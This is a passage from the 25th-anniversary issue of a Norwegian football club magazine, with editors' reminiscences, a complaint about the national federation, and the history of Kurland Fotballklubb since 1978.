bidragsyterne som tross alt fantes der. Noe av det morsomste med redakt\u00f8rvervet var de grafiske teknikkene en fikk pr\u00f8ve \u00e5 l\u00e6re seg underveis. Programmer som Photoshop og InDesign ble ikke bare merkverdige ord, men nyttige redskaper. Sideoppsett og bildebehandling var spennende \u00e5 holde p\u00e5 med. Tidsbruken ble imidlertid altfor stor, og til slutt ble det et ork \u00e5 holde p\u00e5 med Kur\u00e9ren i sene nattetimer etter jobb og spede fors\u00f8k p\u00e5 familieliv. Gleden var s\u00e5ledes stor da Hilda sa seg villig til \u00e5 ta over stafettpinnen som redakt\u00f8r, og det var ekstra fint at hun fikk med seg Maria som layout-ansvarlig. Det er viktig og riktig at en stor klubb som Kurland har et papirorgan ogs\u00e5, ved siden av de elektroniske sidene som har blitt s\u00e5 bra. B\u00e5de som trener og bladsm\u00f8rer har jeg hatt \u00e9n filosofi: fotball skal v\u00e6re en estetisk nytelse. Enten man driller, sentrer, skyter, header eller kneler en motspiller skal fotballen gi tilskueren en tiln\u00e6rmet orgastisk opplevelse. Angrep er essensen, forsvar et n\u00f8dvendig onde, og seieren skal komme av flere scorede m\u00e5l enn innslupne. Keepere har allerede til en viss grad egne trenere (de kan godt f\u00e5 dem i yngre alder). Spisser b\u00f8r ogs\u00e5 f\u00e5 egne veiledere, for sp\u00f8rsm\u00e5let er: n\u00e5r s\u00e5 DU et buel\u00f8p sist\\!?? Til sist vil jeg gratulere klubben med jubileet jeg er glad og takknemlig over \u00e5 ha v\u00e6rt en del av KFK i snart 20 av klubbens 25-\u00e5rige historie\\!\\! Magne Storl\u00f8kken P.S.: Bildet med damene er tatt den gangen jeg hadde et musikkprogram i Radio 1. Jeg gjorde en jobb p\u00e5 Notodden Bluesfestival, og intervjuet bl.a. Ike Turner (den beryktede eksmannen til Tina Turner). Etter intervjuet var det en fotosession (og ikke noe mer) med syngedamene hans, og det var veldig trivelig. 5\n\n6 NY GIV FOR KLUBBAVISEN Ny giv for klubbavisen I Kurland Fotballklubbs nye Handlingsplan ble et av satsingsomr\u00e5dene v\u00e5rt informasjonsorganet kur\u00e8ren. M\u00e5lsettingen var fire utgivelser per \u00e5r og den skulle v\u00e6re selvfinansierende. KARI E. SOLBERG REDAKT\u00d8R 1986/87 Redakt\u00f8rpinnen overtok jeg fra min gode venn Magne Andersen, eneveldig redaksjon og tidligere formann, dessuten den som stiftet avisen i Kur\u00e8ren var og er hans hjertebarn, s\u00e5 ansvaret var stort for den nyvalgte sekret\u00e6ren i Kurland Fotballklubb. Uten erfaring, men med gl\u00f8dende engasjement og entusiasme, startet Ole Mangen og jeg i redaksjonen. Litt senere fikk vi Helge R\u00f8nning, ekte journalist, med p\u00e5 laget og vi hadde frokostm\u00f8ter som var b\u00e5de hyggelige og nyttige. Positiv respons Vi trodde den \u00f8konomiske delen av arbeidet skulle bli den vanskeligste utfordringen, men man beh\u00f8vde ikke \u00e5 v\u00e6re proff selger for \u00e5 skaffe annonser til v\u00e5r klubbavis. Oppgaven ble min, og det var en sann glede \u00e5 kontakte foresatte til klubbens medlemmer, n\u00e6rmilj\u00f8et, (det var da det var butikker p\u00e5 L\u00f8venstadtorget) venner og familie. De som sa ja til dyre annonser gjorde det nok ikke pga. stor reklameverdi. En artig jobbsom beviste hvilket godt renomm\u00e8 vi hadde p\u00e5 bygda. 20 sider som skulle fylles med leseverdig stoff ble ogs\u00e5 en stor utfordring, for alle skulle ha sitt fra de yngste til de eldste. I tillegg til praktisk informasjon, tabeller og resultater, konkurranser og formannens hj\u00f8rne etc., var det viktig med mange bilder s\u00e5 det var godt \u00e5 ha Helge med proft utstyr. Karakteristisk med sin lange frakk dukket han opp p\u00e5 utallige kamper, treninger og andre arrangement. Etter to utgivelser overtok den alltid positive Arne Rundtom dette arbeidet etter Helge. Gledelig \u00e5 oppleve var ogs\u00e5 den velvilligheten vi m\u00f8tte hos andre bidragsytere. Som Dagbladjournalist Sissel Benneche Osvold som sporty lot oss trykke hennes Siste innbytter uten vederlag. Jon Michelet som faxet et h\u00e5ndskrevet kapittel fra VM boken i 1990 samt representanter fra Akershus Fotballkrets og NFF. Store ambisjoner primitivt utstyr De store ambisjonene om den beste klubbavisen sto ikke i forhold til utstyret man hadde \u00e5 lage avisen med. I starten ble alt skrevet p\u00e5 en liten reiseskrivemaskin fra 1968\\! Man klippet og limte, leste korrektur og ventet i spenning for \u00e5 se om resultatet ble som vi \u00f8nsket. V\u00e5rt f\u00f8rste nummer ble trykkemessig en stor skuffelse og ble derfor ikke gitt ut. Heldigvis hadde vi Svein, lagleder for sm\u00e5guttelaget, som var villig til \u00e5 overta trykkingen. Vi fikk et godt og utviklende samarbeid og Kur\u00e8ren ble et flott produkt som vi var forn\u00f8yde med. Da redakt\u00f8ren i tillegg fikk l\u00e5ne en elektrisk skrivemaskin med rettetast, ble arbeidet b\u00e5de enklere og morsommere\\! Hva med fremtiden? Kur\u00e8ren utviklet seg etter hvert s\u00e5 bra at b\u00e5de krets og forbund ber\u00f8mmet den gode standarden. Dessverre ble avisen i en periode nedprioritert og den var savnet av mange. Til tross for en imponerende hjemmeside, er det \u00e5 h\u00e5pe at papirutgaven ogs\u00e5 blir prioritert i fremtiden, for interressen for Kur\u00e8ren er stor. Takk og lykke til I 1987 kom Magne tilbake som et inspirerende medlem av redaksjonen og etter to \u00e5r overtok han som redakt\u00f8r igjen da andre fotballoppgaver ventet meg. Etter en gjesteopptreden i redaksjonen 1990 avsluttet jeg denne utrolig givende oppgaven. Jeg vil igjen takke de som bidro til at alle i Kurland Fotballklubb med rette kunne v\u00e6re stolte av klubbavisen sin\\! \u00d8nsker alle lykke til videre med dette viktige arbeidet og gratulerer hjerteligst med jubileet\\! Hei alle medlemmer i Kurland fotballklubb\\! Gratulerer med 25-\u00e5rs jubileet. Det er uvirkelig at det har g\u00e5tt 25 \u00e5r siden Kurland fotballklubb ble stiftet Mette Korsrud Kurland fotballklubb har hatt mange, gode resultater i Norway Cup opp gjennom \u00e5rene. Et godt systematisk arbeid ligger bak gode resultater. Det er godt \u00e5 ha engasjerte tillitspersoner og foreldre for et lokalsamfunn. Stifterne av Kurland fotballklubb kan Red.anmerkning: v\u00e6re stolte av seg selv og at de tok initiativet til stiftelse av klubben. Mange barn og unge har inntil n\u00e5 hatt glede av klubben, og flere fotballspillere vil engasjere seg i klubben i fremtiden. Kurland fotballklubb er et godt eksempel p\u00e5 lokalt engasjement for barn og unge. Uten fotballklubben hadde ikke Kurland v\u00e6rt et s\u00e5 attraktivt bomilj\u00f8 som i dag. Gratulerer med jubileet og lykke til videre fremover enten det er p\u00e5 grus eller kanskje gress\\! Mette Korsrud Ordf\u00f8rer Etter at artikkelen ble skrevet har det v\u00e6rt ordf\u00f8rerskifte i L\u00f8renskog kommune (\u00c5ge Tovan). 6\n\n7 \u00d8STROGEN REDAKSJON En ny \u00f8strogen-redaksjon ser dagens lys AV: HILDA PETTERSEN Det skyldes ikke at \u00f8strogenhormoner som f\u00f8lge av forurensning og lek med nye tilsetningsstoffer har begynt \u00e5 invadere herrenes kropper, men derimot at Kureren igjen har f\u00e5tt en kvinnelig redakt\u00f8r. Dette har s\u00e5 vidt meg bekjent, ikke skjedd siden Kari Solberg (som ga avisen navnet) en periode fungerte som redakt\u00f8r en gang p\u00e5 80-tallet. Magne hadde vel lenge hatt et \u00f8nske om \u00e5 gi redakt\u00f8rstolen over til andre, men verdige eller kanskje heller villige arvtagere lot vente p\u00e5 seg. Alternativet var \u00e5 legge avisen d\u00f8d, noe som skar den ihugga Kurlandspatrioten i hjertet. I 2002 s\u00e5 derfor sekret\u00e6ren i klubben n\u00f8dvendigheten av \u00e5 ha ogs\u00e5 dette tillitsvervet p\u00e5 CVen, og sa ja til \u00e5 overta sjefsstolen. Med p\u00e5 laget fikk hun Maria Smith Nyg\u00e5rd som var l\u00e6rling i grafisk design og i tillegg lagvenninne p\u00e5 damelaget. Vi gikk p\u00e5 oppgaven med mot i brystet og st\u00e5l i ben og armer. Med oss hadde vi Klaus som gjorde at \u00f8strogenniv\u00e5et sank betraktelig, selv om de av oss som kjenner han godt, vet at han innerst inne er litt mykaktig. Det var uansett betryggende \u00e5 ha han der n\u00e5r ting ble forsinket og bidragsytere s\u00e5 p\u00e5 tidsfrister som noe relativt. Relativt til deres egen tidsplan. Klaus brukte sine mannlige hormoner til \u00e5 kjefte og presse ut artikler fra ulike tillitsvalgte. I ettertid har det vist seg at han skrev artiklene selv, og at \u00f8strogen artilleri hadde v\u00e6rt vel s\u00e5 effektivt. Den nye layouten s\u00e5 ut til \u00e5 f\u00e5 god mottagelse og det var utrolig tilfredsstillende \u00e5 se esker p\u00e5 klubbhuset med 2000 ferske Kureren som VI hadde laget\\! Dette var verdt all frustrasjon og timer med e-post skriving til bidragsyterne. Stort var det ogs\u00e5 da en jentespiller p\u00e5 et aldersbestemt lag kom inn p\u00e5 klubbhuset og spurte om hun kunne ta med seg et eksemplar av Kureren fordi den s\u00e5 kul ut. Jeg sier dere: spontan ros er balsam for sjelen og bensin til videre arbeid. Dessverre kan man kanskje si, men gudskjelov for redakt\u00f8ren, kommer det n\u00e5 bare ut to utgaver av Kureren i \u00e5ret. Dette er litt fordi ressursene i redaksjonen tilsier at det m\u00e5 v\u00e6re s\u00e5nn, og litt fordi hjemmesidene skal ta over rollen som nyhetsbulletin. Kureren har n\u00e5 mer form som informasjonsblad, og skal presentere lagene og klubben for n\u00e6rmilj\u00f8et. Dette ser ut til \u00e5 fungere ganske bra takket v\u00e6re fotsoldatene der ute som leverer Kureren ut til publikum. Igjen er det de frivillige som f\u00e5r ballen til \u00e5 trille i klubben for heller ikke Kureren kan komme i postkassen uten hjelp. Det som derimot er s\u00f8rgelig er at det i \u00e5r ble funnet masse Kureren blader i s\u00f8pla. Dumt for redaksjonen og dumt for klubben som er avhengige av at n\u00e6rmilj\u00f8et ser hvem vi er og hva vi driver med, for \u00e5 f\u00e5 goodwill og ikke minst nye medlemmer. Skamme seg den som gjorde det\\! Tom Lindemark m\u00e5 ogs\u00e5 nevnes. Dette er mannen som gj\u00f8r det mulig for oss \u00e5 trykke Kureren til en levelig sum, slik at Nina ikke g\u00e5r av hengslene. Han har gjort dette lenge n\u00e5, men vi h\u00e5per at det kan bli enda noen \u00e5r hvor Flexitrykk kan trykke Kureren. N\u00e5 har den nye redaksjonen gitt ut tre numre av Kureren og Maria er ferdig med l\u00e6rlingetiden. Det betyr at Kureren har en grafisk designer med solid utdanning, som vi h\u00e5per \u00e5 beholde litt til. Jeg h\u00e5per det blir flere numre med denne redaksjonen og vil takke alle som hjelper til slik at Kureren kan lages og distribueres. Dette nummeret b\u00f8r leses med andakt i og med klubbens 25 \u00e5r, og skal gj\u00f8re stas p\u00e5 klubben v\u00e5r. Det blir mye historie, og p\u00e5 denne m\u00e5ten kan de yngre medlemmene f\u00e5 et innblikk i hvordan Kurland Fotballklubb har blitt den klubben den er i dag. Kanskje blir de enda mer stolte av \u00e5 spille i den r\u00f8de drakta for KFK? Gratulerer med 25 \u00e5rs jubileet\\! 7\n\n8 ORDF\u00d8RER David vs Goliat AV HILDA PETTERSEN (REDAKT\u00d8R OG SEKRET\u00c6R) Kommunikasjon er ikke lett. Sikkert er det uansett at hvordan du oppfattes bestemmes i stor grad av hvilket budskap du har, og ikke minst hvordan du formidler det. Det vet vi som driver Kurland Fotballklubb, og ikke minst vet vi at vi er avhengige av goodwill fra medlemmer og andre rundt oss for \u00e5 kunne gjennomf\u00f8re driften av klubben p\u00e5 en best mulig m\u00e5te. For \u00e5 etablere goodwill og god kommunikasjon ut mot publikum pr\u00f8ver vi i KFK \u00e5 yte god service til v\u00e5re medlemmer, og f\u00e5 alle til \u00e5 f\u00f8le seg velkomne i klubben. Dette perspektivet om klubbene st\u00e5r ogs\u00e5 sentralt i Norges Fotballforbunds handlingsplan, der det heter: Klubben i hjertet - vil si at spillerne og lagene er tilknyttet en klubb som de h\u00f8rer til, som de representerer i kamper og som de f\u00e5r ulike aktivitets- og treningstilbud i. NFF \u00f8nsker i stor grad \u00e5 synliggj\u00f8re hvilken betydning klubbmilj\u00f8ene har som aktivitetssted, m\u00f8te- og milj\u00f8sted, utdanningssted og trivselsted. (NFFs handlingsplan , kapittel 1). Flotte og store ord gj\u00f8r seg alltid i en handlingsplan, men utfordringen ligger alltid i \u00e5 kommunisere budskapet ut til omgivelsene, i dette tilfellet klubbene, sm\u00e5 og store, som er medlemmer av Norges Fotballforbund. Det er et slikt problem som n\u00e5 skal stilles under lupen.denne artikkelens bakgrunn ligger i en foresp\u00f8rsel gjort gjentatte ganger ovenfor NFF om \u00e5 f\u00e5 et hilsningsbrev til Kureren i anledning Kurland fotballklubb sitt 25 \u00e5rsjubileum. Etter at redakt\u00f8ren ikke fikk svar p\u00e5 brevet som ble sendt ut i midten av august, tok hun kontakt med Forbundet per telefon. NFF er en stor organisasjon og ettersom det var noe uklart hvilken person brevet skulle sendes til, kunne det v\u00e6re at brevet forst\u00e5elig nok ble liggende nederst i en bunke. P\u00e5 telefon ble jeg videresendt til et forv\u00e6relse, der e-post adresse ble mottatt slik at hilsningsbrevet kunne sendes inne en uke, ettersom det n\u00e5 begynte \u00e5 haste. Ukene gikk og ingen e- post kom. Redakt\u00f8ren tok da, litt mindre entusiastisk, kontakt med forbundet p\u00e5 nytt og m\u00f8tte denne gangen en meget hyggelig resepsjonist som pr\u00f8vde \u00e5 hjelpe til som best hun kunne. Hun sendte redakt\u00f8ren over til en av avdelingslederne, som skal slippe \u00e5 f\u00e5 navnet sitt p\u00e5 trykk. Han stilte seg raskt tvilende til om dette var en oppgave for NFF. Da redakt\u00f8ren p\u00e5pekte at det samme ble gjort da KFK ble 10 \u00e5r, svarte avdelingslederen med et sp\u00f8rsm\u00e5l om hva vi egentlig var ute etter. Det ble gjentatt at det var snakk om et hilsningsbrev fra NFF der Kurland FK ble gratulert med sitt jubileum, og at det strengt tatt ikke beh\u00f8vde \u00e5 st\u00e5 noe mer. NFFs representant p\u00e5pekte at de hadde klare retningslinjer p\u00e5 hva de gjorde og ikke gjorde i forhold til klubbene, og at som redakt\u00f8ren sikkert skj\u00f8nte var det mange klubber i landet og dermed stadig vekk noen som hadde 25- \u00e5rs jubileum. Redakt\u00f8ren som f\u00f8r syntes hun hadde representert en god klubb og var stolt av \u00e5 v\u00e6re en del av den enda s\u00e5 mye tid det tok, f\u00f8lte seg plutselig ubetydelig og uviktig i den store sammenhengen. Men hun bet mindreverdighetskomplekset i seg og spurte hva disse retningslinjene var. Ettersom avdelingslederen ikke hadde oversikt over dette der og da, spurte hun om det var mulig \u00e5 f\u00e5 snakke med noen som hadde denne oversikten. Dette var ikke n\u00f8dvendig mente avdelingslederen i NFF, ettersom han skulle sjekke opp dette selv. F\u00f8lelsen av \u00e5 v\u00e6re ubetydelig i den store sammenhengen forsvant litt for redakt\u00f8ren, og hun lurte p\u00e5 om hun skulle ringe tilbake eller sende vedkommende avdelingsleder en e-post slik at hilsningsbrevet fra NFF skulle komme frem i tide, det hastet jo litt. Men i f\u00f8lge NFFs representant var dette ikke n\u00f8dvendig, for han skulle ta seg av saken og se hva som eventuelt var praksis. Redakt\u00f8ren fikk en f\u00f8lelse av at vedkommende ikke hadde lyst til \u00e5 snakke med redakt\u00f8ren fra den lille klubben som bare ble 25 \u00e5r. Hun pr\u00f8vde likevel \u00e5 sp\u00f8rre om hun skulle gi han telefonnummeret sitt eller e-postadressen sin, slik at NFF kunne kontakte henne n\u00e5r de hadde funnet ut av tingene. Dette var heller ikke n\u00f8dvendig, ettersom NFFs representant skulle ta seg av dette. N\u00e5 hadde heller ikke redakt\u00f8ren fra den lille klubben lenger lyst til \u00e5 snakke mer med NFF, men hun spurte om det da var s\u00e5nn at NFF skulle ta kontakt med henne n\u00e5r de hadde funnet ut av tingene sine. Og jada, avdelingslederen i NFF skulle ordne og ta seg av dette. Brevet har ikke kommet, og dersom noen har skrevet det har de ingen adresse \u00e5 sende det til eller noen redakt\u00f8r \u00e5 ringe. Redakt\u00f8ren fikk jo ikke gitt noen av disse opplysningene til NFF.Hovedpoenget i historien, som faktisk er sann, er ikke \u00e5 henge ut NFF, selv om hendelsen definitivt ikke setter NFF i et godt lys. Det ble tydelig for redakt\u00f8ren at Kurland FK nok ikke var klubben i NFFs hjerte, men gjorde det heller tydelig at det var vanskelig for dem \u00e5 yte denne slags service til sine medlemmer. Det undertegnede med st\u00f8tte fra KFKs leder, da lurer p\u00e5, er hva slags holdninger NFF her pr\u00f8ver \u00e5 kommunisere? Med utgangspunkt i sitatet fra handlingsplanen til Forbundet kan vi hvertfall konstatere at NFF ikke synliggj\u00f8r hvilken betydning klubbmilj\u00f8ene har. For en liten klubb som KFK der frivillige jobber hardt med \u00e5 opprettholde driften og gi barn, unge og voksne en god fotballopplevelse sportslig og sosialt, blir man sint og s\u00e5ret over den overlegne holdningen KFK her ble m\u00f8tt 8\n\n9 CHARMIGASTE LAGET med. Med tanke p\u00e5 fete overskrifter og oppslag om kommunikasjonsproblemer innad og utad i Norges Fotballforbund, er det ogs\u00e5 meget fristende \u00e5 kaste seg p\u00e5 denne kritikken. I Norges Fotballforbunds handlingsplanen kapittel 2 hevdes det at Samarbeid, \u00e5penhet, toleranse og engasjement er b\u00e6rende n\u00f8kkelverdier for organisasjonen v\u00e5r. Det som kommuniseres er derimot ikke samarbeid, men obstruksjon (ikke lov i fotball). Ikke engasjement men likegyldighet. Ikke toleranse, men signaler om at man bruker NFFs verdifulle tid. \u00c5penhet om at handlingsplanen ikke gjelder derimot, kunne nok stemme. Jeg h\u00e5per dette var et engangstilfelle som ikke er beskrivende for NFF som organisasjon. Jeg h\u00e5per et det er flere av den hyggelige resepsjonsdamen enn de nedlatende avdelingslederne. 9\n\n10 KFK HISTORIE En klubb blir til Historien om fotballklubben som ble stiftet er samtidig historien om det nye boligfeltet som dukker opp i det nord\u00f8stre hj\u00f8rnet av L\u00f8renskog kommune. Inntil midten av 70-\u00e5rene var det jorder og skog her. S\u00e5 satte L\u00f8renskog Boligbyggelag i gang en storstilt utbygging, og i 1976 var de f\u00f8rste beboerne p\u00e5 plass. Det gikk ikke s\u00e5 lang tid f\u00f8r enkelte begynte \u00e5 rope p\u00e5 et fritidstilbud for barna. Fotball et naturlig valg I Kornstien bodde familien Gaarder. De hadde flyttet til Kurland fra Sk\u00e5rer og hadde bakgrunn i fotballmilj\u00f8et. I Rugstien bodde familien Horgen. En september ettermiddag i 1978 kom Solveig Horgen i prat med en del unggutter p\u00e5 trappa til Rugstien 2. De ville s\u00e5 gjerne spille i en fotballklubb og lurte p\u00e5 hvorfor ikke Kurland startet sin egen og den burde hete Kurland Fotballklubb? Solveig var enig og kontaktet Sven Erik Gaarder. Den 26. september kom s\u00e5 Sven Erik Gaarder, Brit Gaarder, Knut Mangen, Finn Horgen og Solveig Horgen sammen i Rugstien 2. Formalitetene ble ordnet, klubbfargen ble helr\u00f8dt, og fra sesongen 1979 stilte den nye klubben Kurland FK lag i kretsserien. Stadig nye lag Det f\u00f8rste \u00e5ret foregikk all treningen p\u00e5 grusbanen ved Hammer skole. Imidlertid ble det bygget en idrettsplass i forbindelse med Kurland skole i 1980, og den ble tatt i bruk til trening denne sesongen av klubbens lag. Klubben ekspanderte stadig, og foran 1980-sesongen stilte KFK lag i f\u00f8lgende klasser: herrer 8. divisjon, jenter, sm\u00e5gutter, 2 lilleputtlag, 2 miniguttlag. I tillegg ble det h\u00f8sten 1980 satt i gang et sm\u00e5jentelag. Dette medf\u00f8rte stor aktivitet p\u00e5 Kurlandsbanen, som den ble kalt, og ikke alle var like begeistret for dette. Det er med p\u00e5 \u00e5 danne opptakten til en vanskelig tid for klubben. 10\n\n11 KFK HISTORIE De vanskelige \u00e5rene Trussel om nedleggelse, \u00abkrig\u00bb borettslagene imellom, KFK beskyldt for \u00e5 v\u00e6re det feigeste laget i Norway Cup, krisem\u00f8ter med b\u00e5de ordf\u00f8rer og skolesjef. Midt oppi alt dette klubbens f\u00f8rste kretsmestre og et forvarsel p\u00e5 sportslig framgang de neste \u00e5rene. Jo, det svingte om Kurland FK disse \u00e5rene\\! Lynsjestemning p\u00e5 Ekebergsletta Under Norway Cup i 1981 var KFK for f\u00f8rste gang \u00e5 finne i Oslo-avisene, men helt uforskyldt. I juniorlaget til KFK sin pulje var det blant annet et etteranmeldt lag fra Nigeria. Interessen for denne afrikanske kuriositeten var stor, og da kampen mellom Kurland og nigerianerne skulle spilles, var det tett med mennesker rundt banen. Ikke rart at skuffelsen og irritasjonen var stor da kampen m\u00e5tte avlyses fordi laget fra Kurland aldri dukket opp. Dagen derp\u00e5 ga Oslo-pressen prov p\u00e5 d\u00e5rlig d\u00f8mmekraft og kom med f\u00f8lelsesladde utbrudd over en slik feighet som ble vist av \u00abklubben Kurland, et sted p\u00e5 Romerike\u00bb. Dagbladet og Aftenposten, blendet av eksotiske innslag p\u00e5 sletta, lot kravet til etterretning fare. Hadde de giddet \u00e5 sjekke, hadde de funnet ut at Kurland hadde f\u00e5tt beskjed om \u00e5 m\u00f8te p\u00e5 feil bane. Heldigvis ble dementier trykket og kampen til slutt spilt. Resultat? Det nigerianske laget vant 8-0. Kurlands f\u00f8rste kretsmestre\\! Som en hyggelig avslutning, kunne klubben feire sine f\u00f8rste kretsmestre denne h\u00f8sten. Det var sm\u00e5jentelaget, trent av Lars H. Mangen, som med klar margin kunne juble over KM som det f\u00f8rste laget i denne klassen. Laget ble startet av en venninneflokk p\u00e5 Tiffl\u00f8kka h\u00f8sten Etter p\u00e5trykk fra klubben opprettet Romerike fotballkrets serie for denne klassen i Banebr\u00e5ket bakgrunn I l\u00f8pet av 1980 og 1981 opplevde klubben en stadig \u00f8kning i medlemstallet. Aktiviteten hadde \u00f8kt betraktelig p\u00e5 Kurlandsbanen siden den forsiktige starten i Beboerne n\u00e6rmest banen fikk bokstavelig talt dette problemet inn i stua og protesterte overfor kommunen fordi det etter deres mening aldri var intensjonen \u00e5 benytte banen til organisert fotballtrening. Banesituasjonen ellers i kommunen var prek\u00e6r, og med alternative anlegg langt unna Kurland ans\u00e5 KFK det umulig \u00e5 gi de yngste et skikkelig tilbud. Klubben satte hardt mot hardt: \u00abOm Kurlandsbanen stenges, ser vi oss n\u00f8dt til \u00e5 nedlegge deler av aktiviteten.\u00bb Full oppslutning I en sak av s\u00e5pass alvorlig karakter ville klubben gj\u00f8re alle medlemmer innforst\u00e5tt med situasjonen og eventuelle konsekvenser. P\u00e5 et medlemsm\u00f8te som fylte Grendehuset til randen, fikk styret full oppslutning om sin linje. Formann Magne Andersen hadde l\u00f8pende kontakt med b\u00e5de ordf\u00f8rer og skolesjef i denne perioden. I mellomtiden hadde ogs\u00e5 Kurland Vel begynt \u00e5 r\u00f8re p\u00e5 seg, og formann S. R\u00f8snes kunne p\u00e5 medlemsm\u00f8tet berette om planer for en ny fotballbane p\u00e5 Kurland, beliggende langs Sandbekkveien nedenfor Skihytta. De st\u00f8rste optimistene var p\u00e5 vei hjem for \u00e5 slipe \u00f8ksa, men de fleste inns\u00e5 nok at dette prosjektet l\u00e5 flere \u00e5r fram i tid. Et kompromiss Planene om en ny bane bidro til \u00e5 roe gemyttene hos de ber\u00f8rte beboerne, mens KFK p\u00e5 sin side begrenset \u00aburinering og h\u00f8ylydt banning\u00bb. Klubben fikk etter hvert tildelt treningstimer p\u00e5 andre anlegg i kommunen for de eldste ut\u00f8verne. Ingen ideell situasjon, men klubben var behersket optimist s\u00e5 lenge ny bane n\u00e5 var kommet p\u00e5 dagsorden. Joda \u00e5rene 1981 og 1982 var virkelig turbulente for KFK. 11\n\n12 KFK HISTORIE \u00abMinieksplosjon og strukturering\u00bb Foran sesongen 1984 fattet NFF en av sine klokeste beslutninger til dags dato: Fotball for alle opp til og med 10 \u00e5r skal spilles p\u00e5 mindre baner, med f\u00e6rre spillere p\u00e5 banen av gangen og med mindre m\u00e5l. Flere vil bli aktivisert, og i KFK fikk vi n\u00e6rmest en eksplosjon av nye fotballspillere st\u00f8rrelse extra small. Fra Fantomet til brusmaskiner KFK diskuterte allerede i 1983 hvorvidt en turnering kunne la seg gjennomf\u00f8re p\u00e5 Kurland. En aktuell samarbeidspartner den gangen var Semic Forlag, og store planer gikk for seg. De mest optimistiske talte om Fantomet i helikopter inn p\u00e5 ny Kurlandsbane. Dette skulle vise seg alt for optimistisk, og alternativer ble diskutert. Man havnet til slutt p\u00e5 en turnering for minifotballen i Soda Stream cup. Sven Berg skal ha mye av \u00e6ren for at dette etter hvert ble et \u00e5rvisst arrangement, og populariteten har bare \u00f8kt og \u00f8kt. I 1988 deltok nesten 100 lag\\! Strukturering av klubben: Handlingsplan gjennomf\u00f8res I \u00e5rene begynner KFKs styre for alvor \u00e5 analysere organisasjonsstrukturen. Dette ble etter hvert tvingende n\u00f8dvendig for \u00e5 kunne holde tritt med den \u00f8kende medlemsmassen. Styret satte i 1985 ned et utvalg med tanke p\u00e5 \u00e5 legge fram en HP med forel\u00f8pige konklusjoner til \u00e5rsm\u00f8tet i Leder for dette utvalget var Tor Lerstang. Gjennom dette arbeidet, og senere som formann i 1986, sto han sentralt under utviklingen av klubbens organisasjonsstruktur. KFK kjent utover landets grenser\\! I de senere \u00e5rene har v\u00e5re aldersbestemte lag stadig tatt turen til v\u00e5re nordiske naboland for \u00e5 delta i internasjonale sommerturneringer. Noen lag har ogs\u00e5 reist lenger. I tillegg til god matching s\u00e5 knyttes gode kontakter med fotballspillere utenfor landets grenser. KFK er etter hvert blitt gangbart b\u00e5de i London og Milano\\! Guttelagets Londontur. 12\n\n13 10-\u00c5RS MARKERING Verdig 10-\u00e5rs markering Den h\u00f8ytidelige markeringen av Kurland FKs 10-\u00e5rsjubileum fant sted p\u00e5 Olavsgaard Hotell og ble en verdig oppf\u00f8lger av en rekke arrangementer i \u00e5r i anledning 10-\u00e5rsfeiringen. De omlag 60 gjestene hygget seg i storfint selskap med blant annet L\u00f8renskogs ordf\u00f8rer og representanter fra Romerike Fotballkrets. Rammen rundt markeringen og selve jubileumstilstelningen skal festkomiteens medlemmer Kjell V\u00e5gstad, Liv-Hilde Aasen og Finn Nilsen ha all \u00e6re for glimrende gjort\\! En annen som gjorde en utrolig flott innsats var kveldens toastmaster Mary M. Strand. Hun loset oss gjennom taler, gratulasjoner og treretters middag p\u00e5 en sjarmerende m\u00e5te. Hennes str\u00e5lende hum\u00f8r og noe originale fotballterminologi vakte allmenn munterhet. Talene Formann Finn Nilsen tok i sin hilsen utgangspunkt i den betydning et lokalt idrettslag har i n\u00e6rmilj\u00f8et. Han var stolt over at Kurland FK n\u00e5 kan tilby alle beboerne p\u00e5 Kurlandsomr\u00e5det uansett kj\u00f8nn og alder et tilbud om organisert idrett i n\u00e6rmilj\u00f8et. \u00c6ren for dette krediterte han de mange tillitsvalgtes gode arbeid og medlemmenes positive holdning. Ordf\u00f8rer Per O. Lund takket p\u00e5 vegne av sin kone og seg selv for invitasjonen og poengterte at Kurland FK for ham ikke var et hvilket som helst idrettslag. Ordf\u00f8rer Lund har bodd p\u00e5 Kurland i snart 30 \u00e5r sammen med sin kone, som i tillegg er f\u00f8dt og oppvokst her. Han beklaget sterkt at han ikke kunne overbringe et l\u00f8fte om klubbhus i jubileumsgave, men uttrykte allikevel h\u00e5p om at et fremtidig klubbhus skulle bli et like godt samarbeidsprosjekt mellom L\u00f8renskog kommune og Kurland FK som Kurlandsparken utviklet seg til \u00e5 bli. Representanten fra Romerike Fotballkrets Olav R\u00f8ttingsnes tok ogs\u00e5 for seg Kurlandsparken i sin hilsen. Han karakteriserte denne banen som en av Romerikes beste grusbaner. Rent sportslig fremhevet han hvor imponerende det var av et borettslag \u00e5 ha kretsmestre i alle jenteklasser i l\u00f8pet av en 10-\u00e5rsperiode. Fotballpresident Per Ravn Omdahl la i sitt hilsningsbrev s\u00e6rlig vekt p\u00e5 Kurlandsparken, Kur\u00e9ren og den systematiske og m\u00e5lrettede driften av Kurland FK. Utmerkelser I forbindelse med 10-\u00e5rsjubileet ble Kurland FKs hederspris for f\u00f8rste gang delt ut. Formann Finn Nilsen poengerte at det alltid ville v\u00e6re en fare for at enkelte kunne f\u00f8le seg forbig\u00e5tt i forbindelse med slike utmerkelser. Opp gjennom \u00e5rene er det mange som har gjort en enorm innsats for klubben. Allikevel vil f\u00e5 protestere p\u00e5 at Ole Mangen for mange Mister KFK himself og Magne Andersen tidligere formann, trener, oppmann, grunnlegger og n\u00e5v\u00e6rende redakt\u00f8r av Kur\u00e9ren, ble tildelt utmerkelsene. I tillegg ble \u00c5ge Karlsen tildelt \u00abGod-fot 1988\u00bb for det utrettelige og selvoppofrende arbeidet han gjennom flere \u00e5r har nedlagt for klubben. Siden ble det dans og det som h\u00f8rer med til langt ut i de sm\u00e5 timer... Formann Finn Nilsen mottar h\u00f8ytidsstemt gaven fra kretsen - representert ved Olav R\u00f8tingsnes. Suverene par i latin/amerikanske danser. Paret Berg/Eidsheim t.v.vant klassen for seniorer, mens juniorklassen ble vunnet av paret Aasen/Fagervik t.h. Sm\u00e5jentelagets oppmann - K\u00e5re M\u00e5num - skj\u00f8tter sine oppgaver like suverent p\u00e5 dansegulvet som p\u00e5 fotballbanen. 13\n\n18 HISTORIE 1991 KM-finalen mot Skedsmo. Laget hadde blant annet brukt dans som et viktig treningselement. - Fra og med sesongen 1991 skulle det v\u00e6re slutt p\u00e5 11-mannsfotball for lillegutt og lillejenter. Det skulle kun v\u00e6re 7 erfotball med rene \u00e5rsklasselag i Akershus Fotballkrets. Kretstinget stemte ned KFKs forslag om \u00e5 kutte ut spill i divisjoner og kamp om kretsmesterskap for disse \u00e5rsklassene. - Sven Berg forlot klubben som aktivt medlem etter \u00e5 ha v\u00e6rt aktiv siden 